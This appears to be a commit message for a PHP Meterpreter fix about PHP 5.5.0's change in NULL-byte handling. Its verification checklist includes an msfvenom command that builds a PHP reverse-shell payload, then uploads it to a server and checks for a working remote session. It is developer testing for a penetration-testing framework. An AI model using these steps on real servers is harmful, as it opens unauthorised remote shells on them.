Strip the NULL that PHP no longer strips

As of PHP 5.5.0, unpack("a", ...) no longer strips the NULL byte from
the end of the string. A new format specifier, Z, was introduced to
perform the old behavior, but we don't have a good way to test for its
existence. Instead, just remove it with str_replace.

Verification:
 - [x] find php version 5.5.0 or newer somewhere.  This is default on at least Ubuntu 14.04
   - [x] build a payload `msfvenom -p php/meterpreter/reverse_tcp LPORT=... LHOST=... -f raw > rm8823.php`
   - [x] set up a handler for the above values
   - [x] upload `rm8823.php` to that server and request it
   - [x] VERIFY: session created
   - [x] VERIFY: session is usable.  `pwd`, `getuid`, `sysinfo`
 - [x] repeat the above for php version < 5.5.0